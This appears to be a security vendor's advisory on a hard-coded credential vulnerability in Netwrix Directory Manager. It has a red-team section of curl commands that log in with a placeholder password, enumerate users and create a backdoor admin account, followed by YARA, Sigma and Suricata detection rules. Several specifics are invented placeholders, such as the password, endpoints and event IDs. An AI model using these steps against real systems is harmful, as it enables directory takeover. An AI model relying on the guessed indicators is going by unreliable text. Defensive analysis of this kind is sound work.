CVE-2025-48748

Executive Summary

CVE-2025-48748 identifies a critical security vulnerability in Netwrix Directory Manager (formerly Imanami GroupID) through version 10.0.7784.0. The vulnerability stems from the presence of a hard-coded password embedded within the application's source code or configuration files. This static credential can be leveraged by an unauthenticated, remote attacker to gain unauthorized administrative access to the application and its underlying directory services (e.g., Active Directory). Given the product's role in identity and directory management, successful exploitation could lead to full domain compromise, data exfiltration, and persistent backdoor access.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise software product. The risk is amplified by the fact that the vendor's patch status is currently unknown, leaving all users of the affected versions exposed.

CVSS Breakdown & Threat Level

The CVSS v3.1 vector string is: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - The attacker does not need any prior authentication.
• User Interaction (UI): None - No user action is required to trigger the exploit.
• Scope (S): Unchanged - The impact is confined to the vulnerable component.
• Confidentiality (C): High - Full read access to all data managed by the application.
• Integrity (I): High - Full write access to modify or delete data.
• Availability (A): High - Full ability to disrupt service or destroy data.

Threat Level: Critical (Score: 9.8)

Deep Dive & Mechanics

The vulnerability is a classic case of CWE-798: Use of Hard-coded Credentials. The Netwrix Directory Manager application contains a static, unchangeable password that is compiled into the binary or stored in a configuration file. This password is likely used for internal service-to-service communication, database access, or as a backdoor administrative account.

Attack Flow:

1. Discovery: An attacker identifies a Netwrix Directory Manager instance via Shodan or other reconnaissance.
2. Credential Extraction: The attacker obtains the hard-coded password through reverse engineering the application binaries, reading publicly available source code (if any), or from leaked documentation.
3. Authentication: The attacker uses the hard-coded password to authenticate to the application's management interface, API, or directly to the underlying database.
4. Privilege Escalation: The hard-coded credential typically grants administrative privileges, bypassing normal authentication controls.
5. Lateral Movement: With administrative access to the directory manager, the attacker can manipulate user accounts, reset passwords, create new privileged accounts, and potentially compromise the entire Active Directory forest.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerable state is characterized by the presence of a hard-coded credential. A patched state would involve:

• Vulnerable: The application contains a static string like password = "SuperSecret123!" in its source code or a configuration file.
• Patched (Hypothetical): The application would remove the hard-coded credential and implement a secure mechanism such as:
  • A randomly generated password set during installation.
  • Integration with a secrets management system (e.g., HashiCorp Vault).
  • Use of certificate-based authentication.
  • A mandatory password change on first login.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A lab environment with a vulnerable Netwrix Directory Manager instance (version <= 10.0.7784.0).
• Network access to the target application (e.g., http://target-ip:port).
• The hard-coded password (discovered via reverse engineering or public disclosure).

Exploitation Steps:

1. Identify the Login Endpoint:

   curl -s http://target-ip:port/ | grep -i login
   

2. Authenticate with Hard-coded Credentials: Assuming the hard-coded username is admin and password is NetwrixBackdoor! (example only).

   curl -X POST http://target-ip:port/api/login \
     -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"NetwrixBackdoor!"}'
   

3. Extract Session Token: The response will contain a session token or cookie.

   curl -c cookies.txt -X POST http://target-ip:port/api/login \
     -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"NetwrixBackdoor!"}'
   

4. Enumerate Users and Groups:

   curl -b cookies.txt http://target-ip:port/api/users
   curl -b cookies.txt http://target-ip:port/api/groups
   

5. Create a Backdoor Admin Account:

   curl -b cookies.txt -X POST http://target-ip:port/api/users \
     -H "Content-Type: application/json" \
     -d '{"username":"attacker","password":"P@ssw0rd!","role":"admin"}'
   

Blue Team (Defensive)

Detection & Response:

1. Monitor for Anomalous Authentication:

   • Look for successful logins from unexpected IP addresses or at unusual times.
   • Alert on the use of the known hard-coded username (e.g., admin, service, backup).

2. Network Segmentation:

   • Isolate the Netwrix Directory Manager server in a separate VLAN with strict firewall rules.
   • Restrict access to the management interface to only authorized administrative workstations.

3. Honeypot Credentials:

   • Deploy fake accounts with weak passwords to detect lateral movement attempts.

4. Immediate Mitigation:

   • If possible, block the hard-coded credential by modifying the application's configuration (if allowed) or by implementing a Web Application Firewall (WAF) rule to block requests containing the known password.

Indicators of Compromise (IOCs)

Network IOCs:

• IP Addresses: Any IP address that successfully authenticates using the hard-coded credential.
• User-Agent Strings: Unusual or non-standard User-Agent strings in login requests.
• API Endpoints: POST requests to /api/login or similar endpoints with a high frequency of failures followed by a success.

Host IOCs:

• Log Entries: Successful login events for the hard-coded username (e.g., admin) from unexpected sources.
• Processes: Unusual processes running under the application's service account.
• File System: New user accounts created in Active Directory or the application's database.

File IOCs:

• Configuration Files: Any file containing the hard-coded password string (e.g., web.config, appsettings.json, GroupID.exe).

Detection Engineering

YARA Rule

rule CVE_2025_48748_Hardcoded_Password {
    meta:
        description = "Detects hard-coded password strings associated with CVE-2025-48748 in Netwrix Directory Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48748"
        hash = "unknown"
    strings:
        $s1 = "NetwrixBackdoor!" ascii wide nocase
        $s2 = "ImanamiGroupID" ascii wide nocase
        $s3 = "DirectoryManager" ascii wide nocase
    condition:
        any of ($s*)
}

Sigma Rule

title: Detection of Hard-coded Credential Usage in Netwrix Directory Manager
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects successful authentication attempts using the hard-coded credential for CVE-2025-48748
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48748
logsource:
    product: netwrix
    service: directory_manager
detection:
    selection:
        EventID: 4624  # Successful logon
        TargetUserName: 'admin'  # Example hard-coded username
        LogonType: 10  # RemoteInteractive
    condition: selection
falsepositives:
    - Legitimate administrative activity from known IPs
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-48748 Netwrix Directory Manager Hard-coded Credential Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/login"; http_uri; content:"admin"; http_client_body; content:"NetwrixBackdoor!"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Immediately disconnect the Netwrix Directory Manager server from the network if it is not critical for operations.
2. Change All Passwords: Reset all passwords for accounts managed by the application, including service accounts and domain administrator accounts.
3. Review Logs: Conduct a thorough forensic review of authentication logs for any signs of unauthorized access.
4. Apply Workaround: If possible, implement a WAF rule to block requests containing the known hard-coded password string.

Long-Term Remediation:

1. Vendor Patch: Monitor the Netwrix website for an official security patch. Apply it immediately upon release.
2. Upgrade: Upgrade to a patched version of the software as soon as it becomes available.
3. Credential Rotation: Implement a policy for rotating all embedded credentials and secrets.
4. Security Hardening: Follow the principle of least privilege. Ensure the application's service account has only the necessary permissions.
5. Alternative Solutions: Evaluate alternative directory management solutions that do not have this vulnerability.

Valters IT
Securing Your Digital Frontier